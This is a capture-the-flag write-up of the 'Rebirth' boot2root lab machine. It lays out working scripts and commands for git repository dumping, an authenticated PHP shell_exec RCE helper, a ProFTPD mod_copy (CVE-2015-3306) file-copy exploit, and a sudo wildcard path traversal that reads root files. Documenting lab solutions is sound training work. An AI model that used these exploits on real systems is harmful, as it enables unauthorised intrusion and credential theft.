Возрождение (Rebirth)
Возрождение (Rebirth)
Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-05 | Status: Solved Techniques: exposed_git_source_disclosure, git_dumper_repo_dump, hardcoded_credential_recovery, php_shell_exec_rce, proftpd_mod_copy_arbitrary_file_copy, sudo_wildcard_path_traversal, multi_part_flag_reassembly
Summary
Task: boot2root machine with exposed .git repo, ProFTPD 1.3.5, and a PHP command panel; flag split across protected files owned by user jonah and root. Solution: dump .git with git-dumper to recover hardcoded admin creds and a shell_exec RCE panel, abuse ProFTPD mod_copy (CVE-2015-3306) SITE CPFR/CPTO to copy jonah's protected files into world-readable /tmp, SSH in, then escalate via a sudo NOPASSWD wildcard (cat /etc/apache2/*) path-traversal to read root's last flag part.
Возрождение (Rebirth) — hackerlab
Description
Если пазл не складывается, и теперь уже невозможно собрать его воедино — начни сначала.
English summary: "If the puzzle doesn't fit together, and now it's impossible to assemble it as a whole — start over." The hint points to git repository reconstruction ("start over" / a fresh repo) and a multi-part flag that must be reassembled like a puzzle. Target is a boot2root machine at 192.168.2.200 (VPN); the goal is to recover the full CODEBY{...} flag, whose plaintext ("we'll start with a new leaf") matches the Rebirth theme.
Analysis
Port scan of 192.168.2.200:
| Port | Service |
|---|---|
| 21/tcp | ProFTPD 1.3.5 |
| 22/tcp | OpenSSH |
| 53/tcp | DNS |
| 8000/tcp | Apache + PHP app (302 → login.php, particles.js front-end) |
Key observations that drive the whole chain:
- ProFTPD 1.3.5 is the exact version vulnerable to the mod_copy
SITE CPFR/SITE CPTOpre-auth arbitrary file copy bug (CVE-2015-3306). - The FTP banner shows
[172.18.0.2]— a Docker bridge IP, NOT a separate host. The FTP daemon and the web app run on the same machine. This co-location is exactly what makes the attack work: the FTP daemon runs asjonah, and the web RCE runs aswww-data, so we can readjonah-owned files by copying them somewherewww-datacan read. - The
.gitdirectory is exposed on the web server → source disclosure.
Solution
Stage 1 — Exposed .git → source disclosure
/.git/HEAD returns 200, so the repository is exposed (directory listing is 403, but objects are fetchable by hash, which git-dumper handles).
bash read-only • copy allowedcurl -s http://192.168.2.200:8000/.git/HEAD # 200 OK → repo exposed curl -s http://192.168.2.200:8000/.git/logs/HEAD # initial commit by root <cyberpride0@gmail.com> git-dumper http://192.168.2.200:8000/.git/ dump # reconstruct full repo
Recovered source:
login.php— hardcoded credentials:php read-only • copy allowedif ($username === 'admin' && $password === '4nt1h4ck3r') { /* auth OK */ }index.php— command execution panel (RCE):php read-only • copy allowedif (isset($_POST['cmd'])) { $output = shell_exec($_POST['cmd']); } // reflected as: <p style='color: grey;'>$output</p>
Stage 2 — Authenticated RCE as www-data
Log in with admin:4nt1h4ck3r, keep the PHPSESSID cookie, then POST cmd to index.php.
shell_exec output is reflected inside <p style='color: grey;'>...</p>, and multi-line output breaks naive HTML parsing. Over a high-latency VPN, the reliable trick is to base64-encode and strip newlines so the whole result lands in one capturable group:
python read-only • copy allowed#!/usr/bin/env python3 # Stage 2 helper: authenticated RCE with reliable output capture import re, base64, requests BASE = "http://192.168.2.200:8000" s = requests.Session() s.post(f"{BASE}/login.php", data={"username": "admin", "password": "4nt1h4ck3r"}, allow_redirects=True) def rce(cmd): # wrap so multi-line / stderr output survives the <p>...</p> reflection payload = f"( {cmd} ) 2>&1 | base64 | tr -d '\\n'" r = s.post(f"{BASE}/index.php", data={"cmd": payload}) m = re.search(r"color: grey;'>([A-Za-z0-9+/=]+)</p>", r.text) return base64.b64decode(m.group(1)).decode(errors="replace") if m else r.text print(rce("id")) # uid=33(www-data) print(rce("ls -la /home/jonah")) # enumerate jonah's home
Enumeration finds user jonah with two protected files in /home/jonah, both -r-------- owned by jonah (unreadable by www-data):
first_part.secret
Stage 3 — Read jonah's files via ProFTPD mod_copy (CVE-2015-3306)
/usr/local/etc/proftpd.conf sets User jonah / Group jonah, and ps aux confirms the proftpd master runs as jonah. The mod_copy SITE CPFR / SITE CPTO commands are enabled and usable pre-auth, executing with the daemon's (jonah's) privileges. /tmp is world-writable (drwxrwxrwt), so copy jonah's files there:
python read-only • copy allowed#!/usr/bin/env python3 # Stage 3: ProFTPD mod_copy (CVE-2015-3306) pre-auth arbitrary file copy import socket def ftp_cmd(sock, cmd): sock.sendall(cmd.encode() + b"\r\n") return sock.recv(4096).decode(errors="replace") s = socket.create_connection(("192.168.2.200", 21), timeout=15) print(s.recv(4096).decode()) # ProFTPD 1.3.5 banner for src, dst in [("/home/jonah/first_part", "/tmp/fp.txt"), ("/home/jonah/.secret", "/tmp/sec.txt")]: print(ftp_cmd(s, f"SITE CPFR {src}")) # 350 File or directory exists... print(ftp_cmd(s, f"SITE CPTO {dst}")) # 250 Copy successful s.close()
The copied files become owned by jonah but world-readable (644), so read them via the Stage-2 RCE as www-data:
python read-only • copy allowedprint(rce("cat /tmp/fp.txt")) # CODEBY{W3LL_S74RT_ print(rce("cat /tmp/sec.txt")) # 2LQg8UkTwfXw <-- jonah's password, NOT a flag part
first_part=CODEBY{W3LL_S74RT_.secret=2LQg8UkTwfXw→ this is jonah's SSH/login password, not part of the flag.
Stage 4 — Privilege escalation via sudo wildcard path traversal
SSH in as jonah with the recovered password:
bash read-only • copy allowedsshpass -p '2LQg8UkTwfXw' ssh -o StrictHostKeyChecking=no jonah@192.168.2.200
bash read-only • copy allowedjonah@target:~$ sudo -l (ALL) NOPASSWD: /bin/cat /etc/apache2/*
The trailing wildcard /etc/apache2/* does not confine reads to that directory — the shell expands * and cat happily follows ../ traversal sequences. Read any root-owned file:
bash read-only • copy allowedsudo /bin/cat /etc/apache2/../../root/last_part # REDACTED}
Stage 5 — Reassemble the flag (the "puzzle")
Combine the two real parts (.secret was a decoy password):
first_part + last_part
CODEBY{W3LL_S74RT_ + REDACTED}
= CODEBY{REDACTED}
The plaintext reads "we'll start with a new leaf" — matching the Возрождение / Rebirth theme and the "start over / reassemble the puzzle" hint.
Lessons Learned / Pitfalls
- Anonymous FTP login fails (530). Don't waste time on it — the FTP attack surface is
mod_copy, which is pre-auth and needs no login. - The
172.18.0.2in the ProFTPD banner is a Docker bridge IP, not a second host. FTP (asjonah) and the web RCE (aswww-data) share one machine — that co-location is the whole point of the chain. - mod_copy cannot write into the Apache webroot
/var/www/html(CPTO → permission denied), and that path isn't web-served anyway. The intended use here is to read jonah's protected files by copying them into world-readable/tmp, not to plant a webshell. .secretis a decoy for the flag puzzle but a real credential for lateral movement — recognize that "secret" content may be a password, not a flag part.